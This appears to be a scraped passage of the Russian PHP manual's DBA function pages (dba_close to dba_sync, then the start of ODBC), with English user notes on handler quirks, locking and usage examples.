When using db4 on redhat 7.3 you may get signal 11s on the apache child processes. The installation test scripts will report that db4 is working correctly as the cli will not sig 11 out. The solution is to check to see if mod_rewrite is installed with apache, if it is either dereference it from libdb.so.3 or build apache without mod rewrite. Once this is done you will no longer have your child processes dying out and db4 will work. If you do not get a sig 11 after dba_open just ignore this comment.
djm at web dot us dot uu dot net 17-Oct-1999 03:28
With db2, you need to call dba_sync() to get the data written to disk; the examples are missing this.  db2 uses
the BTREE file format, not the more common HASH.
BTREE is faster, though, in my tests, so it's a good
choice.


Закрывает базу данных DBA

  • « Функции DBA
  • dba_delete »
  • PHP Manual
  • Функции DBA
  • Закрывает базу данных DBA

dba_close

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_close — Закрывает базу данных DBA

Описание

dba_close(resource $dba): void

dba_close() закрывает установленную базу данных и освобождает все связанные с ней ресурсы.

Список параметров

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • dba_open() - Открывает базу данных
  • dba_popen() - Установить постоянный экземпляр базы данных

User Contributed Notes

There are no user contributed notes for this page.


Удаляет запись базы данных определённую ключом

  • « dba_close
  • dba_exists »
  • PHP Manual
  • Функции DBA
  • Удаляет запись базы данных определённую ключом

dba_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_delete — Удаляет запись базы данных определённую ключом

Описание

dba_delete(string|array $key, resource $dba): bool

dba_delete() удаляет указанную запись в базе данных.

Список параметров

key

Ключ записи, которую надо удалить.

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_exists() - Проверяет, существует ли ключ
  • dba_fetch() - Извлекает данные по указанному ключу
  • dba_insert() - Вставляет запись
  • dba_replace() - Перезаписать или вставить запись

User Contributed Notes

swain at panix dot com 06-Nov-2001 11:00
Note that the memory is lost after doing this. If you had a key 'foo' with a value of 1000 bytes, that 1000 bytes is lost, and the DB file size will reflect this.


Проверяет, существует ли ключ

  • « dba_delete
  • dba_fetch »
  • PHP Manual
  • Функции DBA
  • Проверяет, существует ли ключ

dba_exists

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_exists — Проверяет, существует ли ключ

Описание

dba_exists(string|array $key, resource $dba): bool

dba_exists() проверяет, если в базе данных заданный ключ key.

Список параметров

key

Проверяемый ключ.

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает true если ключ существует и false в обратном случае.

Смотрите также

  • dba_delete() - Удаляет запись базы данных определённую ключом
  • dba_fetch() - Извлекает данные по указанному ключу
  • dba_insert() - Вставляет запись
  • dba_replace() - Перезаписать или вставить запись

User Contributed Notes

frenzy dot ivan at gmail dot com 26-Nov-2008 05:37
<?php

$index = 4;
$id = dba_open("frenzy.db", "w", "flatfile");
if(!$id) exit ("Some error...");
if(dba_exists($index, $id)) exit ("This key is using");
dba_close($id);

?>


Извлекает данные по указанному ключу

  • « dba_exists
  • dba_firstkey »
  • PHP Manual
  • Функции DBA
  • Извлекает данные по указанному ключу

dba_fetch

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_fetch — Извлекает данные по указанному ключу

Описание

dba_fetch(string|array $key, resource $dba, int $skip = 0): string|false

Перегруженная сигнатура:

dba_fetch(string $key, int $skip, resource $dba): string

dba_fetch() извлекает данные из базы данных, заданной dba, определённые ключом key.

Список параметров

key

Ключ, для которого надо извлечь данные.

Замечание:

Когда работает с ini-файлом, эта функция принимает массив в качестве ключа, где по индексу 0 задана группа, а по индексу 1 - имя параметра. Дополнительно смотрите dba_key_split().

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

skip

Число пар ключ-значение, которые нужно проигнорировать при работе с базой данных cdb. Этот параметр игнорируется при работе со всеми остальными базами данных, в которых не поддерживаются множественные ключи с одинаковым именем.

Возвращаемые значения

Возвращает строку, если пара ключ/данные найдена, иначе возвращает false.

Список изменений

Версия | Описание
8.2.0 | Необязательный параметр skip функции dba_fetch() теперь находится в конце в соответствии с пользовательской семантикой PHP; перегруженная сигнатура по-прежнему принимается, но не рекомендуется.

Смотрите также

  • dba_exists() - Проверяет, существует ли ключ
  • dba_delete() - Удаляет запись базы данных определённую ключом
  • dba_insert() - Вставляет запись
  • dba_replace() - Перезаписать или вставить запись
  • dba_key_split() - Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей

User Contributed Notes

khan666 at lycos dot co dot kr 05-Dec-2010 05:11
:: fetch array sort.

ex) TEST_DATA.DB

    1/korea/5000/word 1
    10/japan/25000/word 10
    21/china/130000/word 21
    2/usa/35000/word 2

<?php
# LIST SORT
$DB4_DATABASE = "TEST_DATA.DB4";
$DIV = "/";
$_FILE = "$DATA_DIR/HUTM_NETWORK_ROUTER.DB"; // DB4 FileName

$db  = dba_open($DB4_DATABASE,"r","db4");
$key = dba_firstkey($db);
$ii = 0;
while($key != NULL)
{
     $LIST[$ii] = explode($DIV,dba_fetch($key, $db));    // fetch array
    $key = dba_nextkey($db);
    $ii++;
}
dba_close($db);
$total = $ii; // total count

# date sort
sort($LIST,SORT_NUMERIC);    // numeric key sort ..

# list display
for($i=0;$i<$total;$i++)
{
    $oData = explode($DIV,$LIST[$i]);    // key + value (sort)

    $key   = trim(chop($oData[0])); # ???
    $name  = trim(chop($oData[1])); # ??
    $count = trim(chop($oData[2])); # ?
    $word  = trim(chop($oData[3])); # ??

    echo "$key / $name / $count / $word <br>\r\n";
}
?>

::result::

1/korea/5000/word 1
2/usa/35000/word 2
10/japan/25000/word 10
21/china/130000/word 21


Извлекает первый ключ

  • « dba_fetch
  • dba_handlers »
  • PHP Manual
  • Функции DBA
  • Извлекает первый ключ

dba_firstkey

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_firstkey — Извлекает первый ключ

Описание

dba_firstkey(resource $dba): string|false

dba_firstkey() возвращает первый ключ из базы данных и сбрасывает внутренний указатель. Это позволяет производить прямой поиск по всей базе.

Список параметров

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает ключ в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_nextkey() - Извлекает следующий ключ
  • dba_key_split() - Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей
  • Второй пример в примерах DBA

User Contributed Notes

rcracer91 at gmail dot com 26-Aug-2009 12:21
I wondered why it wasn't already written, so I did because I think working with associative arrays is always as comfortable as can be

<?php
function dba_fetch_assoc($handle) {
    $assoc = array();
    for($k = dba_firstkey($handle); $k != false; $k = dba_nextkey($handle)) {
        $assoc[$k] = dba_fetch($k, $handle);
    }
    return $assoc;
}
?>
psycho-logic at excite dot com 22-Oct-2003 05:38
Looks like Jacky is using some DB object? I don't know if it's native to PHP or written on it's own... Anyways this is what I use:

$DBCon = dba_open("/tmp/test_db.db2", "r", "db2") or die("Uh oh, can't open the database :(");
if ($the_key = dba_firstkey($DBCon)) do {
    print("Key: $the_key    Value:");
    print dba_fetch($the_key, $DBCon);
    print("<BR>");
} while ($the_key = dba_nextkey($DBCon));
print ("<BR><BR><BR>Well looks like we're done here :-)");
jacky dot jackyhung dot net 17-Jan-2002 05:17
for ($key = dba_firstkey($this->handle); $key !== false; $key = dba_nextkey($this->handle)) {
            $keyset[] = $key;
        } // end for


Список всех доступных обработчиков

  • « dba_firstkey
  • dba_insert »
  • PHP Manual
  • Функции DBA
  • Список всех доступных обработчиков

dba_handlers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

dba_handlers — Список всех доступных обработчиков

Описание

dba_handlers(bool $full_info = false): array

dba_handlers() возвращает список всех доступных в этом модуле обработчиков.

Список параметров

full_info

Включает, либо выключает, вывод полной информации в результат.

Возвращаемые значения

Возвращает массив обработчиков баз данных. Если параметр full_info задан, как true, массив будет содержать ассоциативный массив, где ключами будут имена обработчиков, а значением информация о версии. В ином случае, массив будет индексированным массивом и содержать имена обработчиков в качестве значений.

Замечание:

Если используется встроенная база данных, вы увидите и cdb и cdb_make.

Примеры

Пример #1 Пример использования dba_handlers()

<?php

echo "Доступные обработчики DBA:\n";
foreach (dba_handlers(true) as $handler_name => $handler_version) {
// Очищаем строки с версиями
$handler_version = str_replace('$', '', $handler_version);
echo " - $handler_name: $handler_version\n";
}

?>

Результатом выполнения данного примера будет что-то подобное:

Доступные обработчики DBA:
 - cdb: 0.75, Revision: 1.3.2.3
 - cdb_make: 0.75, Revision: 1.2.2.4
 - db2: Sleepycat Software: Berkeley DB 2.7.7: (08/20/99)
 - inifile: 1.0, Revision: 1.6.2.3
 - flatfile: 1.0, Revision: 1.5.2.4

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 05:59
A quick way to see which DBA handlers, without version numbers, that have been built into your version of MySQL on your system, use var_dump with dba_handler() as follows:

<?php
var_dump ( "dba_handlers()" );
?>

Many distros build in these DBA Handlers by default:
array(5) { [0]=>  string(3) "cdb" [1]=>  string(8) "cdb_make" [2]=>  string(3) "db4" [3]=>  string(7) "inifile" [4]=>  string(8) "flatfile" }

using print and pre tags for readability:

array(5) {

  [0]=>

  string(3) "cdb"

  [1]=>

  string(8) "cdb_make"

  [2]=>

  string(3) "db4"

  [3]=>

  string(7) "inifile"

  [4]=>

  string(8) "flatfile"

}

Note there are issues with dba_insert and dba_replace without building for either GDBM or QDBM.
  Here are two sources for the list of DBA handlers: (http://www.php-editors.com/php_manual/ref.dba.html and http://dewa03.unep.org/manuals/php_manual/ref.dba.html; )

CDBM & CDB compiles have issues with updates, you can read databases and write new database files, but you will be prevented from using dba_replace() and you may have issues with dba_insert().

NDBM & DBM are depreciated.

DB2, DB3 & DB4 (Berkeley DB Sleepycat Software / Oracle)  Have read online about issues with dba_replace() and db4 specifically. Make sure you test your installation for correct usage of all DBA functions.

SDBM, TDB, TinyCDB were not listed on most of the sources I have found online.  Those DBA handlers and the names of the developers were listed on the QDBM source forge site.  How they interact with dba_replace() I do not know.  You should be aware of their existence.

GDBM and QDBM are the only other two DBA handlers I am aware of.  Both are reported to allow PHP's dba_replace() function to work correctly so either may be an acceptable option.  The following three restrictions of traditional DBM are not issues for either GDBM or QDBM: 1) a process can handle only one database;  2) the size of a key and a value is bounded;   3) a database file is sparse.

DBA handler benchmark compares QDBM, GDBM, NDBM, SDBM, TDB, CDB, BDB, QDBM-BT-ASC, QDBM-BT-RND, BDB-BT-ASC, BDB-BT-RND can be found here: (http://qdbm.sourceforge.net/benchmark.pdf);

QDBM seems to offer significant improvements in speed over the other DBA Handlers, test in your environment to verify the results.


Вставляет запись

  • « dba_handlers
  • dba_key_split »
  • PHP Manual
  • Функции DBA
  • Вставляет запись

dba_insert

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_insert — Вставляет запись

Описание

dba_insert(string|array $key, string $value, resource $dba): bool

dba_insert() вставляет в базу данных запись заданную параметрами key и value.

Список параметров

key

Ключ записи для вставки. Если такой ключ уже существует в базе данных, функция завершится с ошибкой. Для замены записи используйте функцию dba_replace().

value

Значение для вставки.

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_exists() - Проверяет, существует ли ключ
  • dba_delete() - Удаляет запись базы данных определённую ключом
  • dba_fetch() - Извлекает данные по указанному ключу
  • dba_replace() - Перезаписать или вставить запись

User Contributed Notes

khan666 at lycos dot co dot kr 03-Dec-2010 02:18
berkeleydb example.

<?php
    # DB4 CREATE & INSERT
    $_FILE   = "/DATA_DIR/TEST_DATA.DB";
    $DIV     = "\xFE";
    $inValue = "name".$DIV."0".$DIV."test value";

    $dbh   = dba_open($_FILE,"c","db4");
    dba_close($dbh);

    $dbh   = dba_open($_FILE,"w","db4");
    dba_insert(1,$inValue,$dbh);
    dba_close($dbh);
?>


Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей

  • « dba_insert
  • dba_list »
  • PHP Manual
  • Функции DBA
  • Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей

dba_key_split

(PHP 5, PHP 7, PHP 8)

dba_key_split — Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей

Описание

dba_key_split(string|false|null $key): array|false

dba_key_split() разделяет ключ, заданный в виде строки и создаёт массив из полученных частей.

Список параметров

key

Ключ в виде строки.

Возвращаемые значения

Возвращает массив следующего вида array(0 => group, 1 => value_name). Эта функция возвращает false, если key равен null или false.

Смотрите также

  • dba_firstkey() - Извлекает первый ключ
  • dba_nextkey() - Извлекает следующий ключ
  • dba_fetch() - Извлекает данные по указанному ключу

User Contributed Notes

There are no user contributed notes for this page.


Список всех открытых файлов базы данных

  • « dba_key_split
  • dba_nextkey »
  • PHP Manual
  • Функции DBA
  • Список всех открытых файлов базы данных

dba_list

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

dba_list — Список всех открытых файлов базы данных

Описание

dba_list(): array

dba_list() возвращает список всех открытых файлов базы данных.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ассоциативный массив типа resourceid => filename.

User Contributed Notes

There are no user contributed notes for this page.


Извлекает следующий ключ

  • « dba_list
  • dba_open »
  • PHP Manual
  • Функции DBA
  • Извлекает следующий ключ

dba_nextkey

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_nextkey — Извлекает следующий ключ

Описание

dba_nextkey(resource $dba): string|false

dba_nextkey() возвращает следующий ключ из базы данных и перемещает внутренний указатель.

Список параметров

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает ключ в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_firstkey() - Извлекает первый ключ
  • dba_key_split() - Разделяет ключ, заданный в виде строки и создаёт массив из полученных частей
  • Второй пример в примерах DBA

User Contributed Notes

phpnet at araxon dot sk 22-Jun-2022 08:41
It should be noted that it is not always safe to iterate through the database while changing it at the same time. For example:

<?php
$db=dba_open(...);

// remove all values shorter than 10 characters
for ($key=dba_firstkey($db); $key!==false; $key=dba_nextkey($db)) {
    $s=dba_fetch($key, $db);
    if (strlen($s)<10) {
        dba_delete($key, $db);
    }
}
?>

The above example will work fine with db4 handler, but not with gdbm. It is handler specific.


Открывает базу данных

  • « dba_nextkey
  • dba_optimize »
  • PHP Manual
  • Функции DBA
  • Открывает базу данных

dba_open

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_open — Открывает базу данных

Описание

dba_open(
string $path,
string $mode,
?string $handler = null,
int $permission = 0644,
int $map_size = 0,
?int $flags = null
): resource|false

dba_open() устанавливает экземпляр базы данных по пути path в режиме mode используя обработчик handler.

Список параметров

path

Путь до файлов базы данных.

mode

r для режима чтения, w для режима чтения/записи с уже существующей базой данных. c для режима чтения/записи и создания базы данных, если она ещё не была создана, и n для создания, обрезания и доступа для чтения/записи. База данных создаётся с архитектурой BTree, другие архитектуры (вроде Hash или Queue) не поддерживаются.

Дополнительно, с помощью следующего символа, вы можете задать режим блокировки базы данных. l для блокировки базы данных с помощью файла .lck, или d для самостоятельной блокировки средствами самой базы. Важно, чтобы все ваши приложения делали это согласованно.

Если вы хотите просто проверить доступ и не хотите ждать освобождения блокировки, вы можете добавить третий символ t. Если вы абсолютно уверены, что вам не нужно использовать блокировку базы данных, вы можете использовать символ - вместо l или d. Если ни один из символов: d, l или - не задан, база данных будет использовать режим d.

Замечание:

В один момент времени может быть только один процесс, пишущий в базу данных. Когда вы используете dba на веб-сервере, и более чем один запрос требует записи в базу данных, они могут это делать только строго по очереди. Также, в момент чтения, запись не доступна. Модуль dba использует блокировки для предотвращения нежелательного поведения. Изучите следующую таблицу:

Блокировки DBA
уже открыта | mode = "rl" | mode = "rlt" | mode = "wl" | mode = "wlt" | mode = "rd" | mode = "rdt" | mode = "wd" | mode = "wdt"
не открыта | ok | ok | ok | ok | ok | ok | ok | ok
mode = "rl" | ok | ok | wait | false | illegal | illegal | illegal | illegal
mode = "wl" | wait | false | wait | false | illegal | illegal | illegal | illegal
mode = "rd" | illegal | illegal | illegal | illegal | ok | ok | wait | false
mode = "wd" | illegal | illegal | illegal | illegal | wait | false | wait | false
  • ok: второй вызов будет успешным.
  • wait: второй вызов будет ждать, пока первый не вызовет dba_close().
  • false: второй вызов вернёт false.
  • illegal: вы не можете смешивать модификаторы "l" и "d" в параметре mode.

handler

Имя обработчика, который будет использоваться для доступа по пути path. Ему передаются все необязательные параметры, заданные в dba_open(). Если параметр handler равен null, то вызывается обработчик по умолчанию.

permission

Необязательный параметр, заданный целым числом (int), который передаётся драйверу. У него то же значение, что и у параметра permissions функции chmod(), значение по умолчанию - 0644.

Драйверы db1, db2, db3, db4, dbm, gdbm, ndbm и lmdb поддерживают параметр permission.

map_size

Необязательный параметр, заданный целым числом (int), который передаётся драйверу. Его значение должно быть кратно размеру страницы ОС или равно нулю, чтобы использовать размер карты по умолчанию.

Только драйвер lmdb допускает параметр map_size.

flags

Флаги для передачи драйверам базы данных. Если указано значение null, будут переданы флаги по умолчанию. В настоящее время только драйвер LMDB поддерживает следующие флаги: DBA_LMDB_USE_SUB_DIR и DBA_LMDB_NO_SUB_DIR.

Возвращаемые значения

Возвращает обработчик в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Функция возвращает значение false и выдаёт ошибку уровня E_WARNING, если параметр handler равен null, но нет обработчика по умолчанию.

Список изменений

Версия | Описание
8.2.0 | Добавлен параметр flags.
8.2.0 | Параметр handler теперь допускает значение null.
7.3.14, 7.4.2 | Драйвер lmdb теперь поддерживает дополнительный параметр map_size.

Смотрите также

  • dba_popen() - Установить постоянный экземпляр базы данных
  • dba_close() - Закрывает базу данных DBA

User Contributed Notes

dracoirs at gmail dot com 03-May-2010 03:10
Apache doesn't support Berkeley DB Btree, so you can't manipulate use db4 as the type of database if you want to do DBM authentication with Apache.

gdbm seemed to work fine though, even though it supposedly using Btree instead of hash.  It makes you wonder why Apache would use hash for one dbmtype versus btree for another.

So since Apache and PHP don't have options to choose the method for the Berkeley DBs, you are out of luck.
cbemerine at gmail dot com 06-Sep-2009 04:59
Note the "c" create flag does not work if MySQL was built with the "cdb" DBA handler compile option which is common for many distros.  By definition the cdb DBA handler is optimized for reading/writing and "no updates are allowed."

<?php
$dbh = dba_open( "./data2/productz", "c", "cdb") or die( "Couldn't open Database" );
?>

instead use

<?php
$dbh = dba_open( "./data2/productz", "n", "cdb" ) or die( "Couldnt open Database" );
?>

generates this error message in the /var/log/apache2/error.log:
[Sun Sep 06 04:18:15 2009] [error] [client 192.168.1.125] PHP Warning:  dba_open(./data2/productz,c) [<a href='function.dba-open'>function.dba-open</a>]: Driver initialization failed for handler: cdb: Update operations are not supported in /var/www/projects/testcdb-c.php on line 43

see user contributed comment under dba_handlers() to see which DBA handlers are supported by your build of MySQL and note about using "cdb" compiled DBA systems:

also see user contributed comment under dba_replace() about incompatibilities with cdb DBA handler compiled MySQL systems.
mskala at ansuz dot sooke dot bc dot ca 16-May-2008 02:15
As of GDBM version 1.8.3, GDBM's underlying open call uses non-blocking calls to flock() on systems that have flock().  As a result, calls with "rd" or "wd" locking modes will return error ("Can't be reader" or "Can't be writer") instead of waiting.  Use "rl" or "wl" instead, to make PHP do its own locking external to GDBM.
trohit at blue bottle dot com 23-Nov-2007 03:34
Here's a simple example to use the dba_open function

<?php

$id = dba_open("/tmp/test.db", "n", "gdbm");

if (!$id) {
        echo "dba_open failed\n";
        exit;
}

dba_replace("key", "This is an example!", $id);

if (dba_exists("key", $id)) {
        echo dba_fetch("key", $id);
        dba_delete("key", $id);
}

dba_close($id);
?>
doppelbauer at gmail dot com 20-Oct-2006 07:36
Windows does not support locking the database. You may use $_ENV to determine the OS:

$locking = (stripos($_ENV['OS'],'windows') === false ? 'd' : 'l');
xy at affenkrieger.de 30-Mar-2006 06:13
If you get some strange errors like
dba_open(): myDbFilename.db : Permission denied
than you are propably using PHP on a Windoze machine. You have to make sure that the following conditions are met:

1) Use an absolute path to your db file. Relative paths will cause problems with locking
2) Specify a locking mode - that's the second character of the mode-argument, or else opening a dba-file will cause several notices/warnings etc.

And a final, general note:
3) Always use the english PHP doc on this site - the translations are often old as hell and miss important informations

HTH, Nils.


Оптимизирует базу данных

  • « dba_open
  • dba_popen »
  • PHP Manual
  • Функции DBA
  • Оптимизирует базу данных

dba_optimize

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_optimize — Оптимизирует базу данных

Описание

dba_optimize(resource $dba): bool

dba_optimize() оптимизирует основную базу данных.

Список параметров

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_sync() - Синхронизирует базу данных

User Contributed Notes

doppelbauer at gmail dot com 17-Oct-2006 02:44
The difference between "dba_optimize" and "dba_sync":

Use "dba_optimize" to optimize a database, which usually consists of eliminating gaps between records created by deletes.

The "dba_sync" function will synchronize the view of the database in memory and its image on the disk. As you insert records, they may be cached in memory by the underlying engine. Other processes reading from the database will not see these new records until synchronization.
samuele at removethisnorsam dot org 04-Aug-2003 03:00
Note that the internal structure of each DB that needs to access etherogeneous data in a *fast* way it is not necessarily space-optimized. So, if you add-remove-substitute keys with data having different content length, the db continues to grow, wasting space. So, it is necessary, sometimes, to re-pack the db in order to remove unused data from the db itself. But it is important to remind that, even if the file grows, the data remain optimized and - obviously - the access continues to be fast. Further information are available at dba_replace() user-contributed notes.


Установить постоянный экземпляр базы данных

  • « dba_optimize
  • dba_replace »
  • PHP Manual
  • Функции DBA
  • Установить постоянный экземпляр базы данных

dba_popen

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_popen — Установить постоянный экземпляр базы данных

Описание

dba_popen(
string $path,
string $mode,
?string $handler = null,
int $permission = 0644,
int $map_size = 0,
?int $flags = null
): resource|false

dba_open() устанавливает постоянный экземпляр базы данных по пути path в режиме mode, используя обработчик handler.

Список параметров

path

Путь до файлов базы данных.

mode

r для режима чтения, w для режима чтения/записи с уже существующей базой данных. c для режима чтения/записи и создания базы данных, если она ещё не была создана, и n для создания, обрезания и доступа для чтения/записи. База данных создаётся с архитектурой BTree, другие архитектуры (вроде Hash или Queue) не поддерживаются.

handler

Имя обработчика, который будет использоваться для доступа по пути path. Ему передаются все необязательные параметры, заданные в dba_open(). Если параметр handler равен null, то вызывается обработчик по умолчанию.

permission

Необязательный параметр, заданный целым числом (int), который передаётся драйверу. У него то же значение, что и у параметра permissions функции chmod(), значение по умолчанию - 0644.

Драйверы db1, db2, db3, db4, dbm, gdbm, ndbm и lmdb поддерживают параметр permission.

map_size

Необязательный параметр, заданный целым числом (int), который передаётся драйверу. Его значение должно быть кратно размеру страницы ОС или равно нулю, чтобы использовать размер карты по умолчанию.

Только драйвер lmdb допускает параметр map_size.

flags

Флаги для передачи драйверам базы данных. Если указано значение null, будут переданы флаги по умолчанию. В настоящее время только драйвер LMDB поддерживает следующие флаги: DBA_LMDB_USE_SUB_DIR и DBA_LMDB_NO_SUB_DIR.

Возвращаемые значения

Возвращает обработчик в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Функция возвращает значение false и выдаёт ошибку уровня E_WARNING, если параметр handler равен null, но нет обработчика по умолчанию.

Список изменений

Версия | Описание
8.2.0 | Добавлен параметр flags.
8.1.0 | Параметр handler теперь допускает значение null.
7.3.14, 7.4.2 | Драйвер lmdb теперь поддерживает дополнительный параметр map_size.

Смотрите также

  • dba_open() - Открывает базу данных
  • dba_close() - Закрывает базу данных DBA

User Contributed Notes

There are no user contributed notes for this page.


Перезаписать или вставить запись

  • « dba_popen
  • dba_sync »
  • PHP Manual
  • Функции DBA
  • Перезаписать или вставить запись

dba_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_replace — Перезаписать или вставить запись

Описание

dba_replace(string|array $key, string $value, resource $dba): bool

dba_replace() перезаписывает или вставляет запись, заданную ключом key и значением value в базу данных определённую обработчиком dba.

Список параметров

key

Ключ записи, которую надо заменить.

value

Новое значение.

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_exists() - Проверяет, существует ли ключ
  • dba_delete() - Удаляет запись базы данных определённую ключом
  • dba_fetch() - Извлекает данные по указанному ключу
  • dba_insert() - Вставляет запись

User Contributed Notes

cbemerine at gmail dot com 06-Sep-2009 06:36
QDBM and GDBM appear to be the only DBA handlers that will allow dba_replace to work correctly.  The DBA Handlers must be compiled or built into the version you are using.  See dba_handlers (http://www.php.net/manual/en/function.dba-handlers.php) for more specific information:

Also when you search online you will see mention of "security" related issue, supposedly, related to the dba_replace() function.  In every instance of the "security" issue documented online, the dba_open function specified the DBA handler option of "inifile".  DBA handler "inifile" is intended for the management of ini files specifically.  Here are the dba_open and dba_replace code snippets related to this "security" issue:

<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("HOME","/www/",$source);
?>

I have also seen errors listed online with DB4 and use of the dba_replace function.  Though I am skeptical of those reports.  Unfortunately I do not have a database with the DB4 handlers compiled in to check if there is an issue with dba_replace and the DB4 DBA handler or not.  At least you are aware that there may be an issue and can check if need be.

Assuming the correct DBA handlers are "built" or compiled into your database when built for the packages you are using, there is probably not an issue with dba_replace() and actual database files.  If you experience a problem with dba_replace() make sure you build in DBA handlers QDBM or GDBM.

You can not build in both QDBM and GDBM together in the same build, however you probably can build in both INIFILE and FLATFILE with either QDBM or GDBM.  It is unclear if you can build in either db3 or db4 with QDBM or GDBM.  It appears that DB4, CDB, INIFILE and FLATFILE are often built together.

see User contributed notes for dba_handlers() and dba_open() related to CDB.


Синхронизирует базу данных

  • « dba_replace
  • ODBC »
  • PHP Manual
  • Функции DBA
  • Синхронизирует базу данных

dba_sync

(PHP 4, PHP 5, PHP 7, PHP 8)

dba_sync — Синхронизирует базу данных

Описание

dba_sync(resource $dba): bool

dba_sync() синхронизирует базу данных. Скорее всего эта функция, если поддерживается, вызовет запись на диск.

Список параметров

dba

Обработчик базы данных, возвращённый dba_open() или dba_popen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • dba_optimize() - Оптимизирует базу данных

User Contributed Notes

There are no user contributed notes for this page.


ODBC (Unified)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции ODBC
    • odbc_autocommit — Переключает поведение автоматической фиксации
    • odbc_binmode — Управляет обработкой двоичных данных столбца
    • odbc_close_all — Закрывает все соединения ODBC
    • odbc_close — Закрывает соединение ODBC
    • odbc_columnprivileges — Перечисляет столбцы и связанные привилегии для данной таблицы
    • odbc_columns — Перечисляет имена столбцов в указанных таблицах
    • odbc_commit — Фиксирует транзакцию ODBC
    • odbc_connect — Соединяет с источником данных
    • odbc_connection_string_is_quoted — Определяет, заключено ли значение строки соединения ODBC в кавычки
    • odbc_connection_string_quote — Заключает в кавычки значение строки подключения
    • odbc_connection_string_should_quote — Определяет, следует ли заключать значение строки соединения ODBC в кавычки
    • odbc_cursor — Возвращает имя курсора
    • odbc_data_source — Возвращает информацию о доступных DSN
    • odbc_do — Псевдоним odbc_exec
    • odbc_error — Возвращает последний код ошибки
    • odbc_errormsg — Возвращает последнее сообщение об ошибке
    • odbc_exec — Выполняет инструкцию SQL напрямую
    • odbc_execute — Выполняет запрос
    • odbc_fetch_array — Возвращает строку результата в виде ассоциативного массива
    • odbc_fetch_into — Возвращает одну строку результата в массив
    • odbc_fetch_object — Возвращает строку результата в виде объекта
    • odbc_fetch_row — Возвращает строку
    • odbc_field_len — Возвращает длину (точность) поля
    • odbc_field_name — Возвращает имя столбца
    • odbc_field_num — Возвращает номер столбца
    • odbc_field_precision — Псевдоним odbc_field_len
    • odbc_field_scale — Возвращает масштаб поля
    • odbc_field_type — Возвращает тип данных поля
    • odbc_foreignkeys — Возвращает список внешних ключей
    • odbc_free_result — Освобождает ресурсы, связанные с результатом
    • odbc_gettypeinfo — Возвращает информацию о типах данных, поддерживаемых источником данных
    • odbc_longreadlen — Обрабатывает столбцы LONG
    • odbc_next_result — Проверяет, доступно ли несколько результатов
    • odbc_num_fields — Возвращает количество столбцов в результате
    • odbc_num_rows — Возвращает количество строк в результате
    • odbc_pconnect — Открывает постоянное соединение с базой данных
    • odbc_prepare — Подготавливает запрос к выполнению
    • odbc_primarykeys — Получает первичные ключи таблицы
    • odbc_procedurecolumns — Получает информацию о параметрах процедур
    • odbc_procedures — Получает список процедур, хранящихся в определённом источнике данных
    • odbc_result_all — Выводит результат в виде HTML-таблицы
    • odbc_result — Получает данные результата
    • odbc_rollback — Откатывает транзакцию
    • odbc_setoption — Регулирует настройки ODBC
    • odbc_specialcolumns — Извлекает особые столбцы
    • odbc_statistics — Получает статистику о таблице
    • odbc_tableprivileges — Перечисляет таблицы и привилегии, связанные с каждой таблицей
    • odbc_tables — Получает список имён таблиц, хранящихся в определённом источнике данных

User Contributed Notes

There are no user contributed notes for this page.


Введение

В дополнение к обычной поддержке ODBC, функции Unified ODBC в PHP позволяют получить доступ к нескольким базам данных, которые позаимствовали семантику ODBC API для реализации своего собственного API. Вместо того чтобы поддерживать несколько драйверов баз данных, которые были практически идентичны, эти драйверы были объединены в единый набор функций ODBC.

Следующие базы данных поддерживаются функциями Unified ODBC: » Adabas D, » IBM DB2, » iODBC, » Solid, и » Sybase SQL Anywhere.

Замечание:

